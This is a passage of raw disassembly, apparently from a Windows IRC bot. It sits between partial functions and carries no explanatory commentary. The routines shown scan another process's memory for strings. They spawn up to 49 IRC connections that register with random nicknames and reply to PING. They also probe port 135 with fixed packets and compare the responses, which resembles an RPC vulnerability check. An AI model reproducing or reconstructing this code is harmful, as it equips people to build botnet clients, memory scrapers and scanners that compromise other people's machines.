eax, [ebp+arg_0] mov [ebp+var_10], 1 mov eax, [eax+18h] sub eax, [ebp+var_C] lea eax, [eax+edi+434h] add edi, 434h mov dword_4D238C, eax mov dword_4D2390, edi loc_41774A: ; CODE XREF: sub_4175C4+90j ; sub_4175C4+A2j ... push [ebp+arg_0] push 0 call esi push eax nop call near ptr 27D0000h mov esi, [ebp+var_10] loc_41775B: ; CODE XREF: sub_4175C4+74j push [ebp+var_4] nop call near ptr 2680000h pop edi mov eax, esi pop ebx loc_417768: ; CODE XREF: sub_4175C4+24j pop esi leave retn sub_4175C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41776B proc near ; CODE XREF: sub_417269:loc_417361p var_4C = byte ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_28 = byte ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_13 = byte ptr -13h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi push [ebp+arg_0] push 0 push 410h nop call near ptr 26A0840h test eax, eax mov [ebp+arg_0], eax jz loc_41785D mov eax, [ebp+arg_4] and dword ptr [eax], 0 lea eax, [ebp+var_4C] push eax nop call near ptr 27F01CDh mov ebx, [ebp+var_44] mov eax, [ebp+var_40] cmp ebx, eax mov [ebp+var_C], eax jnb loc_417854 mov edi, dword_427160 loc_4177B6: ; CODE XREF: sub_41776B+E3j lea eax, [ebp+var_28] push 1Ch push eax push ebx push [ebp+arg_0] nop call near ptr 27E0B6Ch test eax, eax jz short loc_417842 mov edx, [ebp+var_18] mov ecx, [ebp+var_1C] mov eax, 1000h mov [ebp+var_4], ecx and edx, eax cmp edx, eax jnz short loc_417848 test [ebp+var_13], 1 jnz short loc_417848 push ecx push 8 call edi push eax nop call near ptr 27E0000h mov esi, eax lea eax, [ebp+var_8] push eax and [ebp+var_8], 0 push [ebp+var_1C] push esi push ebx push [ebp+arg_0] nop call near ptr 27F0000h test eax, eax jz short loc_417834 push offset dword_4D1170 push esi call sub_4266CB pop ecx test eax, eax pop ecx jnz short loc_417834 lea eax, [esi+400h] push offset dword_4D1970 push eax call sub_4266CB pop ecx test eax, eax pop ecx jz short loc_417864 loc_417834: ; CODE XREF: sub_41776B+9Fj ; sub_41776B+B0j push esi push 0 call edi push eax nop call near ptr 27D0000h jmp short loc_417848 ; --------------------------------------------------------------------------- loc_417842: ; CODE XREF: sub_41776B+5Dj mov eax, [ebp+var_48] mov [ebp+var_4], eax loc_417848: ; CODE XREF: sub_41776B+71j ; sub_41776B+77j ... add ebx, [ebp+var_4] cmp ebx, [ebp+var_C] jb loc_4177B6 loc_417854: ; CODE XREF: sub_41776B+3Fj push [ebp+arg_0] call near ptr 2680000h nop loc_41785D: ; CODE XREF: sub_41776B+1Ej xor eax, eax loc_41785F: ; CODE XREF: sub_41776B+134j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_417864: ; CODE XREF: sub_41776B+C7j add ebx, 800h lea eax, [esi+800h] xor ecx, ecx mov dword_4D238C, ebx mov dword_4D2390, eax cmp [eax], cl jnz short loc_417886 cmp [eax+1], cl jz short loc_41788E loc_417886: ; CODE XREF: sub_41776B+114j ; sub_41776B+121j inc ecx inc eax inc eax cmp byte ptr [eax], 0 jnz short loc_417886 loc_41788E: ; CODE XREF: sub_41776B+119j mov eax, [ebp+arg_4] push [ebp+arg_0] mov [eax], ecx nop call near ptr 2680000h push 1 pop eax jmp short loc_41785F sub_41776B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178A1 proc near ; CODE XREF: sub_417269+135p var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, dword_4D2388 push esi mov esi, dword_427160 push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_6], ax mov [ebp+var_8], cx movzx eax, ax push eax push 8 call esi push eax nop call near ptr 27E0000h mov ecx, dword_4D2388 mov [ebp+var_4], eax add ecx, ecx push ecx push dword_4D2390 push eax call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_8] push eax mov al, byte ptr dword_4D2394 push eax call dword_4D2174 push [ebp+var_4] mov edi, offset dword_4D2180 push offset dword_4D1170 push offset dword_4D1970 push [ebp+arg_0] push offset dword_437EEC push 200h push edi call sub_41C100 add esp, 1Ch push [ebp+var_4] push 0 call esi push eax call near ptr 27D0000h nop mov eax, edi pop edi pop esi leave retn sub_4178A1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417938 proc near ; CODE XREF: sub_417269:loc_4173A5p var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov eax, dword_4D2388 push ebx push esi push edi lea ecx, [eax+eax] lea eax, [eax+eax+2] mov [ebp+var_16], ax mov [ebp+var_18], cx movzx eax, ax push eax push 8 nop call near ptr 27E0B05h push eax nop call near ptr 27E0000h and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D1970 mov edi, 200h mov esi, offset dword_4D0F70 loc_41797E: ; CODE XREF: sub_417938+FAj mov eax, dword_4D2388 add eax, eax push eax push dword_4D2390 push [ebp+var_14] call sub_41CAB0 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D2174 mov eax, dword_4D2388 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4179F3 loc_4179BB: ; CODE XREF: sub_417938+B3j cmp [ebp+var_8], 0 jz short loc_417A10 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_4179DF cmp byte ptr [ecx+1], 0 jnz short loc_4179DF cmp dl, 20h jnb short loc_4179D9 and [ebp+var_8], 0 loc_4179D9: ; CODE XREF: sub_417938+9Bj cmp [ebp+var_1], 7Eh jbe short loc_4179E3 loc_4179DF: ; CODE XREF: sub_417938+90j ; sub_417938+96j and [ebp+var_8], 0 loc_4179E3: ; CODE XREF: sub_417938+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_4179BB cmp [ebp+var_8], 0 jz short loc_417A10 loc_4179F3: ; CODE XREF: sub_417938+81j push [ebp+var_14] push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437EEC push edi push esi call sub_41C100 add esp, 1Ch jmp short loc_417A28 ; --------------------------------------------------------------------------- loc_417A10: ; CODE XREF: sub_417938+87j ; sub_417938+B9j push offset dword_4D1170 push ebx push [ebp+arg_0] push offset dword_437F3C push edi push esi call sub_41C100 add esp, 18h loc_417A28: ; CODE XREF: sub_417938+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41797E push [ebp+var_14] push 0 nop call near ptr 27E0B05h push eax call near ptr 27D0000h nop mov eax, esi pop edi pop esi pop ebx leave retn sub_417938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A51 proc near ; CODE XREF: sub_417C15+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4C9384 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_417ACD push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4C9344 cmp eax, esi jnz short loc_417AB2 push [ebp+arg_0] call dword_4C9388 test eax, eax jz short loc_417ACD mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417AB2: ; CODE XREF: sub_417A51+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4C92AC cmp eax, esi jnz short loc_417AD1 push edi call dword_4C939C loc_417ACD: ; CODE XREF: sub_417A51+1Bj ; sub_417A51+58j mov eax, esi jmp short loc_417AD3 ; --------------------------------------------------------------------------- loc_417AD1: ; CODE XREF: sub_417A51+73j mov eax, edi loc_417AD3: ; CODE XREF: sub_417A51+7Ej pop edi pop esi leave retn sub_417A51 endp ; =============== S U B R O U T I N E ======================================= sub_417AD7 proc near ; CODE XREF: sub_401AC7+3275p ; sub_401AC7+32DCp ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C630 pop ecx mov esi, offset dword_4D239C pop ecx loc_417AEF: ; CODE XREF: sub_417AD7+42j cmp dword ptr [esi-4], 1 jnz short loc_417B0D cmp dword ptr [esi], 0 jbe short loc_417B0D push 0 push edi call sub_41B960 pop ecx push eax push edi push dword ptr [esi] call dword_4C9354 loc_417B0D: ; CODE XREF: sub_417AD7+1Cj ; sub_417AD7+21j add esi, 210h cmp esi, offset dword_4D8ABC jl short loc_417AEF pop edi pop esi retn sub_417AD7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417B1E proc near ; CODE XREF: sub_417C15+152p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42CDCC ; " " push edi push esi push [ebp+arg_0] call sub_41C864 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_417B43: ; CODE XREF: sub_417B1E+35j push esi push 0 call sub_41C864 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_417B43 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_417B6B cmp esi, edi jnz short loc_417B6B push 1 pop eax jmp loc_417C10 ; --------------------------------------------------------------------------- loc_417B6B: ; CODE XREF: sub_417B1E+3Fj ; sub_417B1E+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C7E0 pop ecx pop ecx test eax, eax push esi jnz short loc_417B95 lea eax, [ebp+var_220] push offset dword_438B54 push eax call sub_41C006 add esp, 0Ch jmp short loc_417BEF ; --------------------------------------------------------------------------- loc_417B95: ; CODE XREF: sub_417B1E+5Fj push offset a433 ; "433" call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_417BB6 push esi push offset dword_438B50 call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_417C0E loc_417BB6: ; CODE XREF: sub_417B1E+85j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41BD10 lea eax, [ebp+var_420] push eax call sub_417E35 lea eax, [ebp+var_420] push eax lea eax, [ebp+var_220] push offset dword_438B44 push eax call sub_41C006 add esp, 1Ch loc_417BEF: ; CODE XREF: sub_417B1E+75j lea eax, [ebp+var_220] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4C9354 loc_417C0E: ; CODE XREF: sub_417B1E+96j xor eax, eax loc_417C10: ; CODE XREF: sub_417B1E+48j pop edi pop esi pop ebx leave retn sub_417B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C15 proc near ; DATA XREF: sub_417DB7+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41C2A0 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D23A4[esi] mov dword_4D2398[esi], edi push dword_4D25A4[esi] push eax call sub_417A51 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D239C[esi], eax jb loc_417D97 mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41BD10 lea eax, [ebp+var_2008] push eax call sub_417E35 lea eax, [ebp+var_4008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax call sub_417E35 lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41C006 add esp, 2Ch lea eax, [ebp+var_1008] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D239C[esi] call dword_4C9354 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch loc_417CEE: ; CODE XREF: sub_417C15+10Ej ; sub_417C15+17Dj push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D239C[esi] call dword_4C931C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417D97 xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417CEE loc_417D25: ; CODE XREF: sub_417C15+17Bj mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_417D4C cmp al, 0Ah jz short loc_417D4C cmp [ebp+arg_0], 0FA0h jz short loc_417D4C mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417D86 ; --------------------------------------------------------------------------- loc_417D4C: ; CODE XREF: sub_417C15+119j ; sub_417C15+11Dj ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417D86 push dword_4D239C[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_417B1E pop ecx test eax, eax pop ecx ja short loc_417D97 push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+arg_0], ebx loc_417D86: ; CODE XREF: sub_417C15+135j ; sub_417C15+13Cj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_417D25 jmp loc_417CEE ; --------------------------------------------------------------------------- loc_417D97: ; CODE XREF: sub_417C15+40j ; sub_417C15+104j ... mov dword_4D2398[esi], ebx mov esi, dword_4D239C[esi] cmp esi, ebx jbe short loc_417DAE push esi call dword_4C939C loc_417DAE: ; CODE XREF: sub_417C15+190j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_417C15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DB7 proc near ; CODE XREF: sub_401AC7+31CAp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417E30 loc_417DC9: ; CODE XREF: sub_417DB7+77j xor edi, edi mov eax, offset dword_4D2398 loc_417DD0: ; CODE XREF: sub_417DB7+28j cmp [eax], ebx jz short loc_417DE1 add eax, 210h inc edi cmp eax, offset dword_4D8AB8 jl short loc_417DD0 loc_417DE1: ; CODE XREF: sub_417DB7+1Bj cmp edi, 31h jz short loc_417E30 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D23A4[esi] push eax call sub_41C620 mov eax, [ebp+arg_4] pop ecx mov dword_4D25A4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D2398[esi], 1 push eax push ebx push edi push offset sub_417C15 push ebx push ebx nop call near ptr 26A0586h inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417DC9 loc_417E30: ; CODE XREF: sub_417DB7+10j ; sub_417DB7+2Dj pop edi pop esi pop ebx leave retn sub_417DB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417E35 proc near ; CODE XREF: sub_401AC7+3713p ; sub_401AC7+375Ap ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41BD10 add esp, 0Ch call sub_41C062 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F0 call sub_41CF04 cmp eax, 1 jnz short loc_417E7F call sub_41C062 call sub_41C062 push 66h cdq pop ecx idiv ecx push dword ptr loc_43828B+5[edx*4] jmp short loc_417E98 ; --------------------------------------------------------------------------- loc_417E7F: ; CODE XREF: sub_417E35+2Fj call sub_41C062 call sub_41C062 cdq mov ecx, 0C0h idiv ecx push off_437F90[edx*4] loc_417E98: ; CODE XREF: sub_417E35+48j lea eax, [ebp+var_2C] push eax call sub_41C620 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41B960 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 call sub_41CF04 mov ebx, eax call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417F0B cmp esi, 3 jnz short loc_417F02 cmp ebx, 1 jz short loc_417F0B loc_417F02: ; CODE XREF: sub_417E35+C6j cmp eax, 1 jnz loc_417FC5 loc_417F0B: ; CODE XREF: sub_417E35+C1j ; sub_417E35+CBj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41CF04 push dword ptr loc_43828B+5[eax*4] lea eax, [ebp+var_40] push eax call sub_41C620 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41C720 add esp, 10h test eax, eax jnz short loc_417FB2 movsx eax, [ebp+var_40] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz short loc_417FB2 call sub_41C062 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_417FB2 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417FB2: ; CODE XREF: sub_417E35+111j ; sub_417E35+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C950 add esp, 0Ch loc_417FC5: ; CODE XREF: sub_417E35+D0j lea eax, [ebp+var_2C] push eax call sub_41B960 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41DDE8 pop ecx test eax, eax pop ecx jnz loc_41822D and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41C720 pop ecx test eax, eax pop ecx jnz loc_418124 call sub_41C062 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 call sub_41CF04 cmp esi, 3 jz short loc_418033 cmp eax, 1 jnz loc_418124 loc_418033: ; CODE XREF: sub_417E35+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_418075 push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_418091 ; --------------------------------------------------------------------------- loc_418075: ; CODE XREF: sub_417E35+207j call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebx], cl loc_418091: ; CODE XREF: sub_417E35+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41CF04 cmp esi, 3 jz short loc_4180BA cmp eax, ebx jnz short loc_418124 loc_4180BA: ; CODE XREF: sub_417E35+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_4180FF push edi call sub_41B960 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E0 call sub_41CF04 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_41811D ; --------------------------------------------------------------------------- loc_4180FF: ; CODE XREF: sub_417E35+28Fj call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_41811D: ; CODE XREF: sub_417E35+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_418124: ; CODE XREF: sub_417E35+1C9j ; sub_417E35+1F8j ... cmp esi, 6 jge loc_4181AD cmp esi, 5 jge short loc_418145 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E8 jmp short loc_418163 ; --------------------------------------------------------------------------- loc_418145: ; CODE XREF: sub_417E35+2FBj call sub_41C062 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E0 loc_418163: ; CODE XREF: sub_417E35+30Ej call sub_41CF04 test eax, eax jnz short loc_418186 call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h jmp short loc_4181A3 ; --------------------------------------------------------------------------- loc_418186: ; CODE XREF: sub_417E35+335j cmp eax, 1 jnz short loc_4181AD call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41CF04 mov cl, 41h loc_4181A3: ; CODE XREF: sub_417E35+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_4181AD: ; CODE XREF: sub_417E35+2F2j ; sub_417E35+354j cmp [ebp+var_C], 2 jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E0 call sub_41CF04 cmp eax, 1 jnz short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41CF04 cmp eax, 1 jnz short loc_41822D cmp [ebp+var_C], eax jge short loc_41822D call sub_41C062 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B0 call sub_41CF04 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_41822D: ; CODE XREF: sub_417E35+1B1j ; sub_417E35+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41BD70 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418246 proc near ; CODE XREF: sub_41827E+125p ; sub_41827E+14Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_418274 loc_418257: ; CODE XREF: sub_418246+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_41DE40 add esp, 0Ch test eax, eax jz short loc_41827A inc esi cmp esi, edi jl short loc_418257 loc_418274: ; CODE XREF: sub_418246+Fj xor al, al loc_418276: ; CODE XREF: sub_418246+36j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_41827A: ; CODE XREF: sub_418246+27j mov al, 1 jmp short loc_418276 sub_418246 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41827E proc near ; CODE XREF: ___:0040DFC8p ; ___:0040E0B1p var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_41C2A0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_4182BF dec eax jz short loc_41829D dec eax loc_418297: ; CODE XREF: sub_41827E+57j xor eax, eax loc_418299: ; CODE XREF: sub_41827E+3Fj ; sub_41827E+169j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_41829D: ; CODE XREF: sub_41827E+16j push 3 push 1388h push [ebp+arg_0] call dword_4C9344 push eax call sub_40C336 add esp, 0Ch neg eax sbb eax, eax and eax, 3 jmp short loc_418299 ; --------------------------------------------------------------------------- loc_4182BF: ; CODE XREF: sub_41827E+13j push 6 push 1 push 2 call dword_4C9384 mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_418297 push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_4C9304 push [ebp+arg_0] mov [ebp+var_E], ax call sub_40A8E4 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4C92AC cmp eax, edi jz loc_4183DB push ebx push 48h push offset dword_438B9C push esi call dword_4C9354 cmp eax, edi jz loc_4183DB mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C cmp eax, edi jz loc_4183DB cmp [ebp+var_200E], 0Ch jnz short loc_4183DB push ebx push 18h push offset dword_438BE8 push [ebp+arg_4] call dword_4C9354 cmp eax, edi jz short loc_4183DB push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_4C931C mov esi, eax cmp esi, edi jz short loc_4183DB cmp [ebp+var_200E], 2 jnz short loc_4183DB push 10h push offset loc_438C04 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h test al, al jz short loc_4183BB cmp esi, 12Ch setnl bl inc ebx jmp short loc_4183DB ; --------------------------------------------------------------------------- loc_4183BB: ; CODE XREF: sub_41827E+12Fj push 10h push offset dword_438C18 lea eax, [ebp+var_2010] push esi push eax call sub_418246 add esp, 10h neg al sbb eax, eax and eax, 3 mov ebx, eax loc_4183DB: ; CODE XREF: sub_41827E+9Bj ; sub_41827E+B2j ... push [ebp+arg_4] call dword_4C939C mov eax, ebx pop ebx jmp loc_418299 sub_41827E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4183EC proc near ; CODE XREF: sub_401AC7+BC3p ; sub_401AC7+C00p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_418477 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_418477 cmp [ebp+arg_8], esi jz short loc_418477 cmp byte ptr [eax], 0 jz short loc_418477 push ebx push edi call sub_426340 mov ebx, eax pop ecx test ebx, ebx jz short loc_418472 push [ebp+arg_4] push edi call sub_41C080 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_41846B sub eax, edi push eax push edi push ebx call sub_41BD70 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41B960 push eax push [ebp+arg_8] push ebx call sub_41C950 push [ebp+arg_4] call sub_41B960 add eax, esi push eax push ebx call sub_41C630 push ebx push edi call sub_41C620 add esp, 30h mov esi, edi loc_41846B: ; CODE XREF: sub_4183EC+3Cj push ebx call sub_41BA31 pop ecx loc_418472: ; CODE XREF: sub_4183EC+2Bj mov eax, esi pop ebx jmp short loc_418479 ; --------------------------------------------------------------------------- loc_418477: ; CODE XREF: sub_4183EC+Cj ; sub_4183EC+13j ... xor eax, eax loc_418479: ; CODE XREF: sub_4183EC+89j pop edi pop esi pop ebp retn sub_4183EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41847D proc near ; CODE XREF: sub_40194F+E9p 